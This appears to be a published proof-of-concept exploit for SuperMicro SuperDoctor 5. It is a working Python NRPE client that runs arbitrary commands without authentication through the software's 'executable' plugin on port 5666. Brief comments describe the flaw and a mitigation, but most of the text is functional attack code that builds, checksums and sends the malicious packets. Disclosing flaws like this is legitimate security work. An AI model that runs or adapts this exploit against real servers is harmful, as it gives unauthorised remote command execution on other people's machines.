Share
# SuperMicro implemented a Remote Command Execution plugin in their implementation of   
# NRPE in SuperDocter 5, which is their monitoring utility for SuperMicro chassis'.  
# This is an intended feature but leaves the system open (by default) to unauthenticated  
# remote command execution by abusing the 'executable' plugin with an NRPE client.  
#   
# For your pleasure, here is a PoC Python NRPE Client that will connect, execute the   
# cmd of choice and return its output.  
#  
# To mitigate this vulnerbility, edit your agent.cfg to specificy which IPs are allowed   
# to execute NRPE commands agaist the system and/or block traffic on port 5666.  
#  
# NRPE cannot be disabled in this software, see Guide section 3.2  
  
  
#Author: Simon Gurney   
#Date: 23/05/2019  
#Vendor: SuperMicro  
#Product: SuperMicro Super Doctor 5  
#Version: 5  
#Guide: ftp://supermicro.com/ISO_Extracted/CDR-C9_V1.00_for_Intel_C9_platform/SuperDoctor_V/Linux/SuperDoctor5_UserGuide.pdf  
  
  
  
### Configurables  
  
command = "ping 1.1.1.1 -n 1"  
target = "1.2.3.4"  
target_port = 5666  
  
### Don't need to change anything below  
  
import binascii  
import struct  
import socket  
import ssl  
  
#### Struct Encoding Types  
StructCodeInt16 = "!h" ## Unsigned Int16  
StructCodeInt32 = "!L" ## Unsigned Int32  
  
#### NRPE Specific definitions  
NRPE_Version = ("","One", "Two", "Three")  
NRPE_Packet_Type = ("", "Query", "Response")  
NRPE_Response = ("Ok", "Warning", "Critical", "Unknown")  
NRPE_Version_1 = 1  
NRPE_Version_2 = 2  
NRPE_Version_3 = 3  
NRPE_Packet_Type_Query = 1  
NRPE_Packet_Type_Response = 2  
NRPE_Response_Ok = 0  
NRPE_Response_Warning = 1  
NRPE_Response_Critical = 2  
NRPE_Response_Unknown = 3  
NRPE_Response_Type_Query = 3  
  
#### RandomDefintions  
NullByte = b"\x00"  
TwoCharSuffix = "SG"  
  
class NRPEpacket:  
port = 5666  
server = "127.0.0.1"  
nrpeVersion = NRPE_Version_2  
nrpePacketType = NRPE_Packet_Type_Query  
nrpeResponseCode = NRPE_Response_Type_Query  
ownSocket = None  
def CalculateCRC(self):  
tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)  
tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)  
tempBuffer += NullByte * 4  
tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)  
tempBuffer += self.content  
return (struct.pack(StructCodeInt32, binascii.crc32(tempBuffer) & 0xffffffff))  
def PadTo1024Bytes(self,command):  
if len(command) <= 1024:  
tempBuffer = command  
else:  
Error("Command string is too long!")  
while len(tempBuffer) < 1024:  
tempBuffer += "\x00"  
tempBuffer += TwoCharSuffix  
return tempBuffer.encode()  
def Connect(self):  
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
self.socket.connect((self.server,self.port))  
def WrapSSL(self):  
self.socket = ssl.wrap_socket(self.socket,cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23, ciphers="ALL")  
def Send(self):  
tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)  
tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)  
tempBuffer += self.crc  
tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)  
tempBuffer += self.content  
self.socket.send(tempBuffer)  
def Recv(self):  
tempBuffer = self.socket.recv(2048)  
self.nrpeVersion = struct.unpack(StructCodeInt16,tempBuffer[0:2])[0]  
self.nrpePacketType = struct.unpack(StructCodeInt16,tempBuffer[2:4])[0]  
self.crc = tempBuffer[4:8]  
self.nrpeResponseCode = struct.unpack(StructCodeInt16,tempBuffer[8:10])[0]  
self.content = tempBuffer[10:]  
if self.crc != self.CalculateCRC():  
print ("CRC does not match!")  
def PrintOut(self):  
print(" -=-=-=-= Begin NRPE Content =-=-=-=-")  
print("| NRPE Version = %i - %s" % (self.nrpeVersion,NRPE_Version[self.nrpeVersion]))  
print("| NRPE Packet Type = %i - %s" % (self.nrpePacketType,NRPE_Packet_Type[self.nrpePacketType]))  
print("| NRPE Packet CRC = %i" % struct.unpack(StructCodeInt32,self.crc)[0])  
print("| NRPE Response Code = %i - %s" % (self.nrpeResponseCode,NRPE_Response[self.nrpeResponseCode]))  
print("| Packet Content:")  
print("| %s" % self.content.decode().strip(TwoCharSuffix).strip("\x00"))  
print(" -=-=-=-= End NRPE Content =-=-=-=-")  
def Close(self):  
if not self.ownSocket:  
self.socket.close()  
def AutoSend(self):  
print("Sending...")  
self.PrintOut()  
self.Send()  
print("Receiving...")  
self.Recv()  
self.PrintOut()  
self.Close()  
def __init__(self, command, socket=None, server=None, port = None, ssl=True):  
self.content = self.PadTo1024Bytes(command)  
self.crc = self.CalculateCRC()  
if server:  
self.server = server  
if port:  
self.port = port  
if not socket:  
self.Connect()  
else:  
self.socket = socket  
self.ownSocket = True  
if ssl == True:  
self.WrapSSL()  
  
  
#NRPE CMD format is "executable!<binary>!<arguments> i.e."  
#NRPEpacket("executable!ping!1.1.1.1 -n 1", server="1.2.3.4").AutoSend()  
  
split = command.split(" ",1)  
cmd = "executable!" + split[0] + "!" + split[1]  
NRPEpacket(cmd, server=target, port=target_port).AutoSend()